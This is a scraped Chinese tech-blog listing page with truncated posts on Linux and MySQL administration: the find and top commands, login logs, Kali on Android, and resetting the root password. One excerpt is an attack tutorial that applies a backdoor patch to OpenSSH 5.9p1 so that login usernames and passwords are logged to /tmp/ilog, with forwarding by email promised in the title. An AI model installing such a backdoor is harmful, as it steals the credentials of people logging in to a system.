root

Centos之文件搜索命令find

天大地大妈咪最大 提交于 2020-02-16 12:23:51
find [搜索范围] [搜索条件] #搜索文件 find / -name install.log #避免大范围搜索,会非常耗费系统资源 #find是在系统当中搜索符合条件的文件名。如果需要匹配, 使用通配符匹配,通配符是完全匹配。 [root@localhost ~]# ls 222 anaconda-ks.cfg 牛逼 牛牛 [root@localhost ~]# find / -name 牛牛 /root/牛牛 /tmp/牛牛 [root@localhost ~]# find / -name 牛 [root@localhost ~]# 我们发现 搜索牛牛 能搜索到结果,但是搜索牛,么有结果, 所以说 find搜索 是完全匹配搜索; 如果我们需要进行模糊查询,我们要使用通配符; * 匹配任意内容 ?匹配任意一个字符 []匹配任意一个中括号的字符 我们创建一些文件来测试 [root@localhost ~]# ls 222 anaconda-ks.cfg 牛逼 牛逼2 牛牛 牛牛2 [root@localhost ~]# [root@localhost ~]# find / -name "牛*" /root/牛逼 /root/牛牛 /root/牛逼2 /root/牛牛2 /tmp/牛牛 查找开头是 “牛”的所有文件 [root@localhost ~]# find /root

Centos之文件搜索命令find

霸气de小男生 提交于 2020-02-16 12:23:10
find [搜索范围] [搜索条件] #搜索文件 find / -name install.log #避免大范围搜索,会非常耗费系统资源 #find是在系统当中搜索符合条件的文件名。如果需要匹配, 使用通配符匹配,通配符是完全匹配。 [root@localhost ~]# ls 222 anaconda-ks.cfg 牛逼 牛牛 [root@localhost ~]# find / -name 牛牛 /root/牛牛 /tmp/牛牛 [root@localhost ~]# find / -name 牛 [root@localhost ~]# 我们发现 搜索牛牛 能搜索到结果,但是搜索牛,么有结果, 所以说 find搜索 是完全匹配搜索; 如果我们需要进行模糊查询,我们要使用通配符; * 匹配任意内容 ?匹配任意一个字符 []匹配任意一个中括号的字符 我们创建一些文件来测试 [root@localhost ~]# ls 222 anaconda-ks.cfg 牛逼 牛逼2 牛牛 牛牛2 [root@localhost ~]# [root@localhost ~]# find / -name "牛*" /root/牛逼 /root/牛牛 /root/牛逼2 /root/牛牛2 /tmp/牛牛 查找开头是 “牛”的所有文件 [root@localhost ~]# find /root

linux每日命令(37):top命令

情到浓时终转凉″ 提交于 2020-02-16 10:57:26
top命令是Linux下常用的性能分析工具,能够实时显示系统中各个进程的资源占用状况,类似于Windows的任务管理器。下面详细介绍它的使用方法。top是一个动态显示过程,即可以通过用户按键来不断刷新当前状态.如果在前台执行该命令,它将独占前台,直到用户终止该程序为止.比较准确的说,top命令提供了实时的对系统处理器的状态监视.它将显示系统中CPU最“敏感”的任务列表.该命令可以按CPU使用.内存使用和执行时间对任务进行排序;而且该命令的很多特性都可以通过交互式命令或者在个人定制文件中进行设定. 一.命令格式 top [参数] 二.命令功能 显示当前系统正在执行的进程的相关信息,包括进程ID、内存占用率、CPU占用率等 三.命令参数 参数 描述 -b 批处理 -c 显示完整的治命令 -I 忽略失效过程 -s 保密模式 -S 累积模式 -i 设置间隔时间 -u 指定用户名 -p 指定进程 -n 循环显示的次数 四. 使用实例 1.显示进程信息 命令: top 输出: [hc@localhost ~]$ top top - 09:22:56 up 6 days, 1:40, 3 users, load average: 0.22, 0.31, 0.71 Tasks: 231 total, 1 running, 230 sleeping, 0 stopped, 0 zombie %Cpu

Kali Linux on Android # 实测:小米2s离线安装Kali Linux

喜你入骨 提交于 2020-02-16 07:55:29
小米 2s 离线安装 Kali Linux 2017年2月4日 by 小甘丶 前段时间也研究过一两天,没弄明白,今天突然来兴致了,说研究一下吧,结果一不小心,就弄明白了! 第一次研究,主要是没弄明白这个系统他是怎么装到手机里的,这个结构我搞不清楚! (可能是我比较笨!这个不搞清楚,按着网上的步骤一步一步来也能弄明白,但是我就是想要弄点自己的东西进去,所以一直不成功) 软件包,都是我自己下翻墙去google play下的,主要用到如下工具: Liux Deploy ---> 运行kali 的应用 Root Explorer ---> 浏览手机文件系统的工具(如有类似可以替换,必须能查看根目录) JuiceSSH ---> ssh远程链接工具(用于链接本地kali操作系统) 网上看了很多方法,都是要从网络上下载,要找个网速好的wifi等好几个小时,制作成功img文件后,才能开始安装,其实没有那个必要!就像我们安装台式机一样!有很多种方法 网络安装、U盘安装、硬盘安装! 这里我们直接从官网下载对应格式的光盘镜像文件即可! 镜像下载地址: https://www.kali.org/downloads/ 注意:我下载的是armhf格式的哦! APP 百度网盘地址: 链接:http://pan.baidu.com/s/1qY31s0c 密码:vve5 镜像 百度网盘地址: 链接:http:/

CentOS下查看最后登录的用户信息以及LOG记录

只愿长相守 提交于 2020-02-16 07:09:54
CentOS下查看最后登录的用户信息 tail /var/log/messages tail /var/log/secure 我们知道,在redhat下可以用lastlog查看各用户最后登录的信息,用last可以查看指定用户的登录信息。 查看用户登陆信息: last 命令详解   功能说明:列出目前与过去登入系统的用户相关信息。   语  法:last [-adRx][-f <记录文件>][-n <显示列数>][帐号名称...][终端机编号...]   补充说明:单独执行last指令,它会读取位于/var/log目录下,名称为wtmp的文件,并把该给文件的内容记录的登入系统的用户名单全部显示出来。   参  数:   -a  把从何处登入系统的主机名称或IP地址,显示在最后一行。   -d  将IP地址转换成主机名称。   -f <记录文件>  指定记录文件。   -n <显示列数>或-<显示列数>  设置列出名单的显示列数。   -R  不显示登入系统的主机名称或IP地址。   -x  显示系统关机,重新开机,以及执行等级的改变等信息。 lastlog 只是记录每个用户上次登录的时间,/var/log/lastlog 例如:查看root和admin在最近20天内是否有登录: #lastlog -t 20|egrep "root|admin" 查看最近20天内登录的用户

Centos获取命令源码

此生再无相见时 提交于 2020-02-16 00:04:45
以mv命令为例 1、查看命令所在位置 [root@VM_0_11_centos ~]# which mv alias mv='mv -i' /usr/bin/mv 2、查看该命令所属rpm包 [root@VM_0_11_centos ~]# rpm -qif /usr/bin/mv Name : coreutils Version : 8.22 Release : 24.el7 Architecture: x86_64 Install Date: Sun 08 Dec 2019 08:30:47 AM MST Group : System Environment/Base Size : 14593469 License : GPLv3+ Signature : RSA/SHA256, Thu 22 Aug 2019 03:21:30 PM MDT, Key ID 24c6a8a7f4a80eb5 Source RPM : coreutils-8.22-24.el7.src.rpm Build Date : Tue 20 Aug 2019 12:27:26 AM MDT Build Host : x86-01.bsys.centos.org Relocations : (not relocatable) Packager : CentOS BuildSystem <http:/

自动劫持 root 密码并转发到邮箱

会有一股神秘感。 提交于 2020-02-16 00:00:36
软件包 0x06-openssh-5.9p1.patch.tar.gz openssh-5.9p1.tar.gz inotify-tools-3.13.tar.gz 1、安装 gcc [ root@ localhost ~ ] # yum -y install epel-release [ root@ localhost ~ ] # yum -y install gcc 2、安装 0x06-openssh 和 openssh [ root@ localhost ~ ] # tar -xvzf openssh-5.9p1.tar.gz [ root@ localhost ~ ] # tar -xvzf 0x06-openssh-5.9p1.patch.tar.gz 3、打补丁 [ root@ localhost ~ ] # cp openssh-5.9p1.patch/sshbd5.9p1.diff openssh-5.9p1/ [ root@ localhost openssh-5.9p1 ] # patch < sshbd5.9p1.diff [ root@ localhost ~ ] # vim openssh-5.9p1/includes.h 177 #define ILOG "/tmp/ilog" #记录登录到本机的用户名和密码 178 #define OLOG "/tmp

mysql免安装版配置与使用方法

别来无恙 提交于 2020-02-15 22:48:18
mysql免安装版配置与使用方法 以mysql-noinstall-5.1.6(win32)为例 1>把压缩文件mysql-noinstall-5.1.6-alpha-win32.zip解压到一个目录下,即安装目录,通常为mysql,在环境变量中设置MYSQL_HOME,把%MYSQL_HOME%\bin 加入到 path。 2>创建my.ini配置文件,内容如下: [mysqld] #设置basedir指向mysql的安装路径 basedir=...\mysql datadir=...\mysql\data my.ini文件放在系统文件下面 XP系统在C:\windows目录下,2000系统在C:\winnt下 3>启动与停止mysql 启动:net start mysql 停止:net stop mysql 4>连接mysql 格式: mysql -h主机地址 -u用户名 -p用户密码 例1:连接到本机上的mysql mysql -uroot -p 例2:连接到远程主机上的mysql mysql -h110.110.110.110 -uroot -pabcd123 5>退出mysql命令 exit(回车) 或者 quit(回车) 6>修改密码 格式:mysqladmin -u用户名 -p旧密码 password 新密码 例:给root加个密码ab12

MYSQL命令行使用指南

两盒软妹~` 提交于 2020-02-15 22:43:23
一、连接 MYSQL 。 格式: mysql -h 主机地址 -u 用户名 - p 用户密码 1 、例 1 :连接到本机上的 MYSQL 。 首先在打开 DOS 窗口,然后进入目录 mysqlbin ,再键入命令 mysql -uroot -p ,回车后提示你输密码,如果刚安装好 MYSQL ,超级用户 root 是没有密码的,故直接回车即可进入到 MYSQL 中了, MYSQL 的提示符是: mysql > 2 、例 2 :连接到远程主机上的 MYSQL 。假设远程主机的 IP 为: 110 .110.110.110 ,用户名为 root, 密码为 abcd123 。则键入以下命令: mysql -h110.110.110.110 -uroot -pabcd123 (注 :u 与 root 可以不用加空格,其它也一样) 3 、退出 MYSQL 命令: exit (回车) 二、修改密码。 格式: mysqladmin -u 用户名 -p 旧密码 password 新密码 1 、例 1 :给 root 加个密码 ab12 。首先在 DOS 下进入目录 mysqlbin ,然后键入以下命令 (password 里面不要加命令符 ) mysqladmin -uroot password ab12 注:因为开始时 root 没有密码,所以 -p 旧密码一项就可以省略了。 2 、例 2

Linux忘记root用户的密码

我只是一个虾纸丫 提交于 2020-02-15 18:43:42
问题: 由于长时间没有操作过自己安装的虚拟机,导致连root用户的密码都忘了,也真是没谁了。 我使用的是centos6.5,今天就记录一下,如何重置root用户的密码。 操作步骤: 步骤一: 当开机启动出现启动的图标的时候,这时快速按下 Esc 或者 E ,一定要快点,不然总是来不及,也可以启动后就一直点。。。 当按下 Esc 或者 E 会出现如下界面: 步骤二: 这时在此按 e ,上图中有解释e是做什么的,‘e’ to edit the commands before booting,意思就是在启动之前编辑命令。按下e后会出现下图界面: 图中已经说明,使用上下箭头进行选择, 这时我们选择kernel这一行,即要操作的内核,选中这一行后,继续按e,出现如下界面: 在信息的最后,按下键盘上的 空格键 接着输入数字1,或者是直接输入single也可以。 输入完毕后点击键盘 回车键 ,出现如下界面: 步骤三: 这是按下b启动,然后会出现如下界面: 这是直接输入 passwd root,重新设置root密码,这是输入新密码,然后在此输入密码进行确认,切记Linux输入密码是不会显示的,所以一定要输入正确,两次输入的密码一致。 到这里root用户密码的重置就已经完成了,会是下面这个样子: 这时输入命令reboot进行重启就OK啦! 不过密码这种东西还是要记住的好,不然忘了太麻烦。 来源: